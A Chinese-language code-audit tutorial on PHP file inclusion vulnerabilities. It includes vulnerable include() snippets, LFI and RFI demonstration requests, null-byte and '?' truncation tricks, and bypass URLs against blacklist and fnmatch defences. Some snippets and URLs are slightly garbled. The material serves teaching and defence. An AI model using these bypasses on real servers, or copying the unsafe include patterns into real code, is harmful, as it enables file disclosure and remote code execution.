代码审计中的文件包含漏洞
0x00 背景
文件包含漏洞是php语言的一大特性。文件包含的意思是,服务器在执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码并执行,这会为开发者节省大量的时间。而文件包含漏洞的出现在于服务器没有对要包含的来源文件进行审查,导致黑客进行了任意文件的读取甚至执行。本文以代码审计的形式研究文件包含漏洞的原理、挖掘形式、防御方案及缺陷。
0x01 文件包含漏洞的产生原理
文件包含漏洞出现的前提是服务器开启allow_url_include选项,在此前提下就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,区别在于include()、include_once()遇到错误继续执行,而require、require_once遇到错误直接退出程序。如果在php配置中开启了allow_url_fopen,那么就可以进行远程文件包含。最简单的文件包含如下:
<?php $file=$_GET['page'];
include($file) ?>
这里用户以GET形式提交的页面传入变量file,随后被include函数包含,中途没有进行任何过滤和规范性检查,黑客往往利用这种漏洞进行任意代码执行或文件读取。
0x02 文件包含漏洞的挖掘形式
文件包含漏洞通常有两种挖掘方式,第一种是常见的的关键词挖掘。直接搜索include(),require(),include_once(),require_once()四个函数,然后进行变量回溯观察是否用户自主可控即可。第二种方式是根据功能进行有针对性的代码审计,文件包含漏洞通常出现在模板加载处,这里传递的参数就是我们审计的的重点,我们在代码审计的时候可以通读部分代码挖掘漏洞。
本地文件包含
本地文件包含(LFI)顾名思义就是包含本机的为文件,通常出现在模板加载处,我们把上面的代码放入Web目录,同时我们在同目录下新建一个文件,名为phpinfo.php,内容为:
<?php phpinfo(); ?>
提交请求:http://127.0.0.1/include.php?page=phpinfo.php,服务器执行了phpinfo()操作。
远程文件包含
远程文件包含(RFI)可以包含其他主机的远程文件,相比于LFI,RFI的威胁更大但是比较少见。常见RFI的代码如下:
1 <?php 2 include($_GET['url']); 3 ?>
如果存在www.testrfi.com/test.txt,内容为<?php phpinfo(); ?>,我们在url参数里传入http://testrfi.com/test.txt,访问后就会反回本机的phpinfo。
文件包含的截断
上面的的代码都是理想状态下的文件包含,事实上绝大多数的文件包含都需要配合截断进行,因为我们不能写入以.php为拓展名的文件,例如如下程序:
<?php $a = $_GET['file']; include $a.'.html.php'; ?>
这种情况我们常见的有三种截断方式
1.%00截断
在PHP版本低于5.3并且GPC未开启的情况下,我们提交请求127.0.0.1/test.php?file=1.txt%00即可进行截断。
2.点斜杠(./)截断
在PHP版本低于5.3的情况下,Windows下连续240个点(.)或者(./)可以截断,Linux下连续2038个/.可以截断。
3.远程包含的?截断
1 <?php 2 include($_GET['url'].'.php'); 3 ?>
在上面这段代码中,我们在testrfi.com主机的Web目录下创建phpinfo.txt,提交请求127.0.0.1/test.php?url=phpinfo.txt?后发现返回了主机的phpinfo信息。这是因为服务器解析的内容为127.0.0.1/test.php?url=phpinfo.txt?.php,它把?后面的内容作为了参数,因此实现了截断。
0x02 防御方案及缺陷
文件包含漏洞的防御主要列举三种常见的防御措施
黑名单
<?php $file=$_GET['page']; $file=str_replace(array("http://","https://"),"",$file); $file=str_replace(array("../","..\""),"",$file); include ($_GET['file']); ?>
这里的黑名单依然采用了危险函数str_replace(),过滤掉了http://、https://、../、..\。在之前的文章中我们提到了可以通过双写绕过,我们提交如下请求即可进行文件包含:
http://127.0.0.1?test.php?page=…/./…/./…/./…/./…/./…/./…/./…/./…/./…/./php.ini
文件名匹配
php中有一个函数为fnmatch(),这个函数可以根据指定的模式来匹配文件名或字符串,利用这个函数我们提出了第二种防御方案:
<?php $file=$_GET['page']; if(!fnmatch("file*",$file)&&$file!="include.php"){ echo"ERROR:Filenotfound!"; exit; } ?>
这里fnmatch()函数要求page参数的开头必须是file,服务器才会去包含相应的文件。这里我们可以通过file协议进行绕过,提交请求即可进行文件包含:
http://127.0.0.1/test.php?page=file:///D:/phpstudy/lfi/php.ini
白名单
白名单是最安全防御机制,将允许包含的文件列举到白名单内,不在白名单里的文件不得进行包含。唯一的缺点是在大型Web程序中白名单的维护比较复杂。